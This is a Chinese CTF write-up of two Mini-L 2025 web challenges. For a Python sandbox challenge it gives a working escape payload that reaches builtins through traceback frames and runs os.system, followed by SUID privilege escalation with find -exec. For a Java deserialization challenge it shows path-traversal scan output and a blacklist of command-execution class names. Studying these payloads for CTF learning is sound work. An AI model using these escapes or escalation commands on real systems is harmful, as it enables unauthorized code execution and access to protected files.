Mini-L 2025 web 复现 年初打的比赛,做出几道题,但是还有做不出来的,当时没能复现,现在把剩下的题目复现。
pybox tag: python沙箱逃逸,python继承,AST绕过,suid提权
应该是python沙箱,当前算是知识盲区,现在来当学习一下。
打开界面得到一堆python的码:
让ai注释且整理一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 from flask import Flask, request, Responseimport multiprocessingimport sysimport ioimport ast app = Flask(__name__)class SandboxVisitor (ast.NodeVisitor): """ 自定义 AST 访问器,用于静态分析代码结构。 禁止访问某些危险属性或使用生成器表达式。 """ forbidden_attrs = { "__class__" , "__dict__" , "__bases__" , "__mro__" , "__subclasses__" , "__globals__" , "__code__" , "__closure__" , "__func__" , "__self__" , "__module__" , "__import__" , "__builtins__" , "__base__" } def visit_Attribute (self, node ): """ 当遇到属性访问时(如 obj.attr),检查是否为禁止属性。 """ if isinstance (node.attr, str ) and node.attr in self .forbidden_attrs: raise ValueError("Forbidden attribute access" ) self .generic_visit(node) def visit_GeneratorExp (self, node ): """ 禁止使用生成器表达式(例如 (x for x in range(10))) 因为它可能导致延迟求值或内存消耗过大等问题。 """ raise ValueError("Generator expressions are not allowed" )def sandbox_executor (code, result_queue ): """ 在独立进程中执行用户代码的安全函数。 使用受限的 globals 和捕获 stdout/stderr 输出。 参数: code: 要执行的 Python 代码字符串 result_queue: 多进程通信队列,返回结果 """ safe_builtins = { "print" : print , "filter" : filter , "list" : list , "len" : len , "addaudithook" : sys.addaudithook, "Exception" : Exception, } safe_globals = {"__builtins__" : safe_builtins} sys.stdout = io.StringIO() sys.stderr = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() result_queue.put(("ok" , output or error)) except Exception as e: result_queue.put(("err" , str (e)))def safe_exec (code: str , timeout=1 ): """ 安全地执行一段代码,包含超时控制和 AST 检查。 步骤: 1. 解码 Unicode 转义字符 2. 解析语法树并进行 AST 安全检查 3. 启动子进程执行代码(避免阻塞主服务) 4. 设置超时终止机制 返回:执行结果或错误信息 """ code = code.encode().decode('unicode_escape' ) tree = ast.parse(code) try : SandboxVisitor().visit(tree) except ValueError as e: return "Error: Suspicious code detected during AST analysis." result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue)) p.start() p.join(timeout=timeout) if p.is_alive(): p.terminate() return "Timeout: code took too long to run." try : status, output = result_queue.get_nowait() return output if status == "ok" else f"Error: {output} " except : return "Error: no output from sandbox." CODE = ''' def my_audit_checker(event, args): """ 审计钩子函数:监控系统事件,仅允许特定行为。 """ allowed_events = [ "import", # 允许 import 触发(但不会真正导入) "time.sleep", # 允许 sleep(但会被拦截) "builtins.input", # 允许 input 调用 "builtins.input/result" # 允许 input 返回值 ] # 检查事件是否在白名单中 if event not in allowed_events: raise Exception(f"Audit denied: {event}") # 不允许传参(args 必须为空) if len(args) > 0: raise Exception("Arguments not allowed in audit events") # 注册审计钩子(Python 3.8+ 支持) addaudithook(my_audit_checker) # 打印用户输入内容 print("{}") ''' badchars = "\"'|&`+-*/()[]{}_." @app.route('/' ) def index (): """ 主页:返回当前文件源码(自我展示) """ return open (__file__, 'r' ).read()@app.route('/execute' , methods=['POST' ] ) def execute (): """ 执行端点:接收表单字段 'text',进行过滤后执行。 """ text = request.form.get('text' , '' ) for char in badchars: if char in text: return Response("Error" , status=400 ) output = safe_exec(CODE.format (text)) if len (output) > 5 : return Response("Error" , status=400 ) return Response(output, status=200 )if __name__ == '__main__' : app.run(host='0.0.0.0' )
尝试用fenjing无果,让ai给出可能的方向,撇了一眼wp,说是用unicode绕过
关键代码
1 2 code = code.encode().decode('unicode_escape' )
然后这里就是ssti加py沙箱逃逸,这个得单独终点学学,只能先看wp打。
有几个需要突破的点:
post检查环节,黑名单绕过:
1 2 3 4 5 badchars = "\"'|&`+-*/()[]{}_." for char in badchars: if char in text: return Response("Error" , status=400 )
利用点:
1 code = code.encode().decode('unicode_escape' )
在进入 safe_exec 前会被unicode_escape解码, 这样我们传入被unicode_escape编码的字符就能绕过post阶段的检查
接下来需要逃出它的执行模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 CODE = ''' def my_audit_checker(event, args): """ 审计钩子函数:监控系统事件,仅允许特定行为。 """ allowed_events = [ "import", # 允许 import 触发(但不会真正导入) "time.sleep", # 允许 sleep(但会被拦截) "builtins.input", # 允许 input 调用 "builtins.input/result" # 允许 input 返回值 ] # 检查事件是否在白名单中 if event not in allowed_events: raise Exception(f"Audit denied: {event}") # 不允许传参(args 必须为空) if len(args) > 0: raise Exception("Arguments not allowed in audit events") # 注册审计钩子(Python 3.8+ 支持) addaudithook(my_audit_checker) # 打印用户输入内容 print("{}") ''' output = safe_exec(CODE.format (text))
这里我们的输入会被放入print(“{}”)的{}里。
需要执行任意代码,可以用 “) 来闭合print函数达到注入,最后在结尾在加沙print(“来把剩下的引号和括号闭合。
然后进入 sandbox_executor 函数,这里builtins会被替换为如下被定义的safe_builtins,不是真的builtins。
1 2 3 4 5 6 7 8 9 10 safe_builtins = { "print" : print , "filter" : filter , "list" : list , "len" : len , "addaudithook" : sys.addaudithook, "Exception" : Exception, } safe_globals = {"__builtins__" : safe_builtins}
我们需要找到另一条能继承可用函数的链,这里要同时考虑ast的影响:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 class SandboxVisitor (ast.NodeVisitor): """ 自定义 AST 访问器,用于静态分析代码结构。 禁止访问某些危险属性或使用生成器表达式。 """ forbidden_attrs = { "__class__" , "__dict__" , "__bases__" , "__mro__" , "__subclasses__" , "__globals__" , "__code__" , "__closure__" , "__func__" , "__self__" , "__module__" , "__import__" , "__builtins__" , "__base__" } def visit_Attribute (self, node ): """ 当遇到属性访问时(如 obj.attr),检查是否为禁止属性。 """ if isinstance (node.attr, str ) and node.attr in self .forbidden_attrs: raise ValueError("Forbidden attribute access" ) self .generic_visit(node) def visit_GeneratorExp (self, node ): """ 禁止使用生成器表达式(例如 (x for x in range(10))) 因为它可能导致延迟求值或内存消耗过大等问题。 """ raise ValueError("Generator expressions are not allowed" )
什么是AST? AST 访问器:
是一个在python来进行静态审计代码的办法。把代码放进去审计,是不会运行的,AST 分析的是代码的结构,不会执行代码,是静态分析。
那SandboxVisitor(ast.NodeVisitor)大概就是把输入的字符里的方法 ,进行python解析,然后检查语法节点。 大概是检查每一个魔术方法的链接,只要链接上有指定的方法就会进行动作。
所以在进入 safe_exec函数后就得考虑: safe_builtins是被自定义过的builtins只有几个函数可用,还有就是ast审查,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 f safe_exec(code: str , timeout=1 ): """ 安全地执行一段代码,包含超时控制和 AST 检查。 步骤: 1. 解码 Unicode 转义字符 2. 解析语法树并进行 AST 安全检查 3. 启动子进程执行代码(避免阻塞主服务) 4. 设置超时终止机制 返回:执行结果或错误信息 """ code = code.encode().decode('unicode_escape' ) tree = ast.parse(code) try : SandboxVisitor().visit(tree) except ValueError as e: return "Error: Suspicious code detected during AST analysis." result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue)) p.start() p.join(timeout=timeout) if p.is_alive(): p.terminate() return "Timeout: code took too long to run." try : status, output = result_queue.get_nowait() return output if status == "ok" else f"Error: {output} " except : return "Error: no output from sandbox."
这里官方wp主要讲了Exception这条链:
1 2 3 4 5 6 7 e.__traceback__ → 指向异常发生时的 traceback 对象 traceback 里包含 tb_frame → 指向异常发生的 栈帧 frame 对象 frame 里包含 f_locals、f_globals、f_back → 可以沿着链条访问之前的局部变量、全局变量、调用栈 可以逃逸到exec外的全局拿__builtins__
再看一遍执行模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 CODE = ''' def my_audit_checker(event, args): """ 审计钩子函数:监控系统事件,仅允许特定行为。 """ allowed_events = [ "import", # 允许 import 触发(但不会真正导入) "time.sleep", # 允许 sleep(但会被拦截) "builtins.input", # 允许 input 调用 "builtins.input/result" # 允许 input 返回值 ] # 检查事件是否在白名单中 if event not in allowed_events: raise Exception(f"Audit denied: {event}") # 不允许传参(args 必须为空) if len(args) > 0: raise Exception("Arguments not allowed in audit events") # 注册审计钩子(Python 3.8+ 支持) addaudithook(my_audit_checker) # 打印用户输入内容 print("{}") '''
那最后, 构建的payload要满足,绕过 badchars 黑名单,绕过 safe_builtins 拿到全局的 builtins,之后是绕过AST的审查,最后绕过输出5个字符的限制
看到官方wp给的payload :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 text=") list=lambda x:True len=lambda x:False #从写list和len方法,绕过执行模板的审计钩子 my_audit_checker try: 1/0 # 尝试报错 #故意制造一个异常(除零错误),目的是获取当前的 traceback(栈追踪)。 #因为异常发生时,Python 会生成一个 traceback 对象,记录调用栈信息。 except Exception as e: frame = e.__traceback__.tb_frame.f_back builtins = frame.f_globals['__builtins__'] builtins.exec(" builtins.__import__ ('os' ).system('ls / -al>app.py' )") #这里__import__被ast拦了,所以放成字符串丢到exec里(也可以用__getattribute__获取__import__) #例如 getattr('__imp'+'__opt__')('os') #frame.f_globals['SandboxVisitor'].visit_Attribute=lambda x,y:None #重写visit_Attribute后 #builtins.__import__('os').system('ls />app.py') #也ok print("
所以说在exp中制造异常是为了利用__traceback__链接来拿到f_back里的f_globals里的builtins
然后用exec来执行字符串来绕过SandboxVisitor的审查,因为ast是不会对字符串进行解析的
另一种绕过andboxVisitor的解法: 替换ast函数:
1 2 3 4 frame.f_globals['SandboxVisitor' ].visit_Attribute=lambda x,y:None builtins.__import__ ('os' ).system('ls />app.py' )
最后需要对付的是输出时的限制5个字符:
1 2 if len (output) > 5 : return Response("Error" , status=400 )
这里容易想到是写入文件,由于权限问题最好能写入到web能访问的文件,所以写入app.py
1 total 72 drwxrwxrwx 1 root root 4096 May 3 00 :12 app lrwxrwxrwx 1 root root 7 Jul 22 2024 bin -> usr/bin drwxr-xr-x 2 root root 4096 Mar 29 2024 boot drwxr-xr-x 5 root root 360 Oct 21 05 :30 dev -rwxr-xr-x 1 root root 272 May 1 16 :15 entrypoint.sh drwxr-xr-x 1 root root 4096 Oct 21 05 :30 etc drwxr-xr-x 1 root root 4096 Oct 21 05 :30 home lrwxrwxrwx 1 root root 7 Jul 22 2024 lib -> usr/lib lrwxrwxrwx 1 root root 9 Jul 22 2024 lib64 -> usr/lib64 -rw------- 1 root root 101 Oct 21 05 :30 m1n1FL@G drwxr-xr-x 2 root root 4096 Jul 22 2024 media drwxr-xr-x 2 root root 4096 Jul 22 2024 mnt drwxr-xr-x 2 root root 4096 Jul 22 2024 opt dr-xr-xr-x 520 root root 0 Oct 21 05 :30 proc drwx------ 1 root root 4096 Aug 2 2024 root drwxr-xr-x 1 root root 4096 Oct 21 05 :30 run lrwxrwxrwx 1 root root 8 Jul 22 2024 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Jul 22 2024 srv dr-xr-xr-x 13 root root 0 Aug 18 11 :39 sys drwxrwxrwt 1 root root 4096 May 3 00 :12 tmp drwxr-xr-x 1 root root 4096 Jul 22 2024 usr drwxr-xr-x 1 root root 4096 Jul 22 2024 var
然后尝试读取m1n1FL@G会发现没有权限
这时需要进行提权,wp上的解法是用suid提权
suid权限 ,指一个应用可以被任何人执行,但是由于应用有suid权限,当另一人执行应用时会等价于是应用的所有者权限所执行
find / -perm /4000 找到拥有suid权限的程序:
1 /usr/ bin/find /u sr/bin/m ount /usr/ bin/passwd /u sr/bin/ su /usr/ bin/chsh /u sr/bin/ chfn /usr/ bin/gpasswd /u sr/bin/um ount /usr/ bin/newgrp
然后用find提权:
1 2 3 4 5 6 7 8 find /etc/passwd -exec chmod 777 /m1* \;cat /m1* >app.py 或者 find . -exec cat /m1* > app.py \; 等等
官方wp: https://github.com/XDSEC/miniLCTF_2025/blob/main/OfficialWriteups/Web/GuessOneGuess-PyBox.md
ezCC 看题目:
第一次扫描失败了,然后限制了一下delay,,慢扫了一下:
1 2 3 4 5 6 7 8 [10 :38 :53 ] Starting: [10 :39 :09 ] 200 - 578 B - /show/ [10 :39 :22 ] 200 - 17 MB - /secret/ [10 :39 :27 ] 400 - 435 B - /../../../../../../../../etc/passwd [10 :39 :27 ] 400 - 435 B - /static/../../../../etc/passwd [10 :39 :27 ] 400 - 435 B - /static/../C:\windows\win.ini [10 :39 :27 ] 400 - 435 B - /%2 F%2 F%2 F%2 F%2 F%2 F%2 F%2 F%2 F%2 F%2 F%2 F%2 F%2 F..%2 F..%2 F..%2 F..%2 F..%2 F..%2 F..%2 Fetc%2 Fpasswd [10 :39 :59 ] 400 - 435 B - /\..\..\..\..\..\..\..\..\..\etc\passwd
这里show是显示评论的,访问secret拿到源码
发现是.jar文件,解压发现一个pom.xml文件
pom.xml 是 Maven 项目的核心配置文件
发现一个blacklist:
还有ai的分析:
上网查找一下:
15年的漏洞,虽然版本对的上,但是apache有修复,感觉不像是利用点,先听ai话,反编译一下IndexController:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 package BOOT-INF.classes.com.example.controller;import com.example.Components.Comment;import com.example.tools.BlackList;import com.example.tools.ByteArrayToStringExtractor;import com.example.tools.Tools;import java.io.IOException;import java.util.ArrayList;import java.util.List;import java.util.Set;import javax.servlet.http.HttpServletRequest;import org.springframework.core.io.FileSystemResource;import org.springframework.core.io.Resource;import org.springframework.http.HttpHeaders;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class IndexController { public ArrayList<Comment> comments = new ArrayList <>(); public BlackList bl = new BlackList (); Set<String> blacklist = this .bl.blacklist; @RequestMapping({"/"}) @ResponseBody public String index (HttpServletRequest request) { return "<html><head><style>body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }.container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }h1 { color: #333; }form { margin-top: 20px; }label { display: block; margin-bottom: 8px; }input[type='text'] { width: 100%; padding: 8px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; }input[type='submit'] { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }input[type='submit']:hover { background-color: #45a049; }</style></head><body><div class='container'><h1>Welcome to miniLCTF 2025~</h1><p>Do you really know the CC?</p><form action='/handle' method='post'> <label for='data'>Enter data:</label> <input type='text' id='data' name='data'> <input type='submit' value='Submit'></form></div></body></html>" ; } @PostMapping({"/handle"}) public String ser (String data) throws Exception { Comment new_comment = new Comment (data); byte [] comments_code = Tools.serialize(new_comment); String comments_str = Tools.base64Encode(comments_code); deser(comments_str); return "redirect:/show" ; } @RequestMapping({"/deserialize"}) @ResponseBody public void deser (String data) throws Exception { if (data.length() > 6000 ) throw new Exception ("Payload too long" ); byte [] comments_code = Tools.base64Decode(data); List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code); for (String i : this .blacklist) { for (String s : result) { if (s.contains(i)) throw new Exception ("Forbidden blacklist" ); } } try { Comment trans_comment = (Comment)Tools.deserialize(comments_code); this .comments.add(trans_comment); } catch (Exception e) { e.printStackTrace(); } } @RequestMapping({"/show"}) @ResponseBody public String show (HttpServletRequest request) throws Exception { StringBuilder htmlBuilder = new StringBuilder (); htmlBuilder.append("<html><head><style>" ) .append("body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }" ) .append(".container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }" ) .append("h1 { color: #333; }" ) .append("ul { list-style-type: none; padding: 0; }" ) .append("li { margin-bottom: 10px; padding: 10px; background-color: #f9f9f9; border-radius: 4px; }" ) .append(".comment-text { font-weight: bold; }" ) .append(".comment-time { color: #666; font-size: 0.9em; }" ) .append("</style></head><body>" ) .append("<div class='container'>" ) .append("<h1>Comments</h1>" ); if (this .comments.isEmpty()) { htmlBuilder.append("<p>No comments yet.</p>" ); } else { htmlBuilder.append("<ul>" ); for (Comment comment : this .comments) htmlBuilder.append("<li>" ) .append("<span class='comment-text'>" ).append(comment.getText()).append("</span>" ) .append("<br>" ) .append("<span class='comment-time'>From: " ).append(comment.getFormattedTimestamp()).append("</span>" ) .append("</li>" ); htmlBuilder.append("</ul>" ); } htmlBuilder.append("</div></body></html>" ); return htmlBuilder.toString(); } @RequestMapping({"/secret"}) @ResponseBody public ResponseEntity<Resource> secret (HttpServletRequest request) throws IOException { String path = "/app/final.jar" ; FileSystemResource fileSystemResource = new FileSystemResource (path); if (!fileSystemResource.exists() || !fileSystemResource.isReadable()) return ResponseEntity.notFound().build(); HttpHeaders headers = new HttpHeaders (); headers.add("Content-Disposition" , "attachment; filename=\"" + fileSystemResource.getFilename() + "\"" ); return ((ResponseEntity.BodyBuilder)ResponseEntity.ok().headers(headers)).contentLength(fileSystemResource.contentLength()).contentType(MediaType.APPLICATION_OCTET_STREAM).body(fileSystemResource); } }
应该类似是路由,其中有handle和show,deserialize /handle 应该是用来上传comment的 /show 是显示评论 /deserialize 应该就是反序列化了
网上关于ctf的cc好是反序列化
那先看看/handle:
1 2 3 4 5 6 7 8 @PostMapping ({"/handle" }) public String ser (String data) throws Exception { Comment new_comment = new Comment (data); byte[] comments_code = Tools .serialize (new_comment); String comments_str = Tools .base64Encode (comments_code); deser (comments_str); return "redirect:/show" ; }
最后的用户传入会经过base64解码后传入反序列化的函数,就是下面的/deserialize
那关键点可能就在/deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public void deser (String data) throws Exception { if (data.length() > 6000 ) throw new Exception ("Payload too long" ); byte [] comments_code = Tools.base64Decode(data); List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code); for (String i : this .blacklist) { for (String s : result) { if (s.contains(i)) throw new Exception ("Forbidden blacklist" ); } } try { Comment trans_comment = (Comment)Tools.deserialize(comments_code); this .comments.add(trans_comment); } catch (Exception e) { e.printStackTrace(); } }
需要看一眼blacklist:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package BOOT-INF.classes.com.example.tools;import java.util.Arrays;import java.util.HashSet;import java.util.Set;public class BlackList { public final Set<String> blacklist; public BlackList () { this .blacklist = new HashSet <>(); this .blacklist.addAll(Arrays.asList(new String [] { "Runtime" , "ScriptEngine" , "SpelExpressionParser" , "ProcessImpl" , "UNIXProcess" , "forkAndExec" , "ProcessBuilder" , "UnixPrint" })); } public BlackList (int sign) { this .blacklist = (new com .example.tools.BlackList()).blacklist; this .blacklist.addAll(Arrays.asList(new String [] { "jackson" , "ChainedTransformer" })); } }
那我的思路可能就是通过反序列话来实现rce,根据题目提示应该是这样,不去考虑xss这边。 给ai分析了项目,说是blacklist过滤很弱,可以尝试cc1链
搞来搞去,还是搞不懂java这块,以后再学吧
https://xz.aliyun.com/news/12115